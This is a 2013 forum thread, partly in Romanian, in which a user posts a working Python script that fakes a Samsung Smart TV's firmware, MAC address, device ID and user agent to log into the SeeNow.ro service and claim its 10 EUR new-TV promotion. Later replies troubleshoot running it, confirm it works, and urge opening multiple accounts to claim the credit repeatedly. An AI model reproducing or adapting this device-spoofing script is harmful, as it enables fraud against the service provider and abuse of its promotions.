SeeNow free

[brontozaur]

Seenow has a promotion: they give you 10 EUR for free if you connect with your account on a Smart TV which has been purchased recently. This promotion is only for one TV you have.

So, there must be something TV sends in order to identify itself, something unique...

To keep the long story short, here is the POC in Python v 3.3:

#usage: scriptname.py email@email.com password
#email is the one associated with SeeNow account
#password is your SeeNow password

import urllib.request, urllib.parse, urllib.error
import urllib.request, urllib.error, urllib.parse
import json
import random
import string
import sys

def random_char(y):
       return ''.join(random.choice(string.ascii_letters) for x in range(y))

def randomMAC():
	mac = [ 0x00, 0x16, 0x3e,
		random.randint(0x00, 0x7f),
		random.randint(0x00, 0xff),
		random.randint(0x00, 0xff) ]
	return ''.join(map(lambda x: "%02x" % x, mac))


url = 'http://www.seenow.ro/smarttv/user/login/sessionid/f' + str(random.randint(0,9)) + str(random_char(22)) + str(random.randint(0,9)) + str(random.randint(0,9)) + str(random.randint(0,9))
url = url + '?firmware=T-INFOLINK2012-0' + str(random.randint(0,9)) + str(random.randint(10,28))
url = url +  '&modelCode=12_X' + str(random.randint(10,20)) + 'PLUS'
url = url + '&macAddress=' + str(randomMAC())
url = url + '&deviceUniqueId=' + random.choice(string.ascii_uppercase) + str(random.randint(0,9)) + str(random_char(6)) + str(random.randint(0,9)) + str(random_char(6))
url = url + '&deviceType=0&appId=111299000393&appVersion=2.05&language=RO&language_id=1' 

user_agent = 'Mozilla/5.0 (SmartHub; SMART-TV; U; Linux/SmartTV; Maple2012) AppleWebKit/534.7 (KHTML, like Gecko) SmartTV Safari/534.7'

values = {'email' : sys.argv[1],
          'password' : sys.argv[2],
          'remember' : 'false' }
headers = { 'User-Agent' : user_agent,
            'Content-Type' : 'application/x-www-form-urlencoded' }

data = urllib.parse.urlencode(values)
binary_data = data.encode('ASCII')
req = urllib.request.Request(url, binary_data, headers)
response = urllib.request.urlopen(req)
resp = str(response.read())
tosearch = 'success'

if resp.find(tosearch) > 0:
	print (" [X] YOU ARE LOGGED IN! Check if you have the 10 EUR into your account")

print(" [+] Response: \n" + resp)

Hope you'll enjoy it. Keep it safe! Do not abuse!

[ICEBREAKER101010]

Hello ,

File "seenow.py", line 23

url = 'http://www.seenow.ro/smarttv/user/login/sessionid/f' + str(random.randint(0,9)) + str(random_char(22)) + str(random.randint(0,9)) +

^

SyntaxError: invalid syntax

[brontozaur]

Check the Python version. I have used this one http://www.python.org/ftp/python/3.3.2/python-3.3.2.msi

[brontozaur]

I doubt... the promotion started in 2012 http://www.seenow.ro/samsung-smart-tv

[bubbles]

Am eu cont la ei, au filme de rahat !

[ICEBREAKER101010]

Check the Python version. I have used this one http://www.python.org/ftp/python/3.3.2/python-3.3.2.msi

Hey,

C:\Python33>python.exe seenow.py

Traceback (most recent call last):

File "seenow.py", line 32, in <module>

values = {'email' : sys.argv[1],

IndexError: list index out of range

[brontozaur]

check the usage. in your case: python.exe seenow.py youremailaddress yourseenowpassword

[ICEBREAKER101010]

check the usage. in your case: python.exe seenow.py youremailaddress yourseenowpassword

I have put the username and pass in the script but it give me the same error :

C:\Python33>

C:\Python33>python.exe seenow.py

Traceback (most recent call last):

File "seenow.py", line 32, in <module>

values = {'etecucu@gmail.com' : sys.argv[1],

IndexError: list index out of range

[1337]

I have put the username and pass in the script but it give me the same error :

C:\Python33>

C:\Python33>python.exe seenow.py

Traceback (most recent call last):

File "seenow.py", line 32, in <module>

values = {'etecucu@gmail.com' : sys.argv[1],

IndexError: list index out of range

I've tested it and it works!Uninstall other python versions.

[ICEBREAKER101010]

I've tested it and it works!Uninstall other python versions.

Am versiunea care mi-a zis el : 3.3

[brontozaur]

You have put the parameters in the wrong place. I've already told you how to invoke the script (there is no reason to modify it!). script.py email password

[ICEBREAKER101010]

You have put the parameters in the wrong place. I've already told you how to invoke the script (there is no reason to modify it!). script.py email password

It's working now.Thanks a lot.This is very good but it charge only once.

Thanks man!

[brontozaur]

Indeed, it works only once for one account.

[ICEBREAKER101010]

Indeed, it works only once for one account.

But if you make it public ,this will not working in short time.But we will have fun till someone will repair the site.

[Coco93]

Testat si de mine. Merge, dar poti sa iti incarci contul doar o singura data.

Nice work brontozaur.

[brontozaur]

Well no one stops you from making multiple accounts..

[d.o.n]

Still working now?

[robyyxx]

Am incarcat 5 conturi ieri si am mai mai incercat odata azi dar nu imi mai merge, poate gresesc eu ceva si la celalalte conturi nu a intrat din prima.

Voua va mai merge?

Edited July 24, 2013 by robyyxx

[soyday]

So will not go.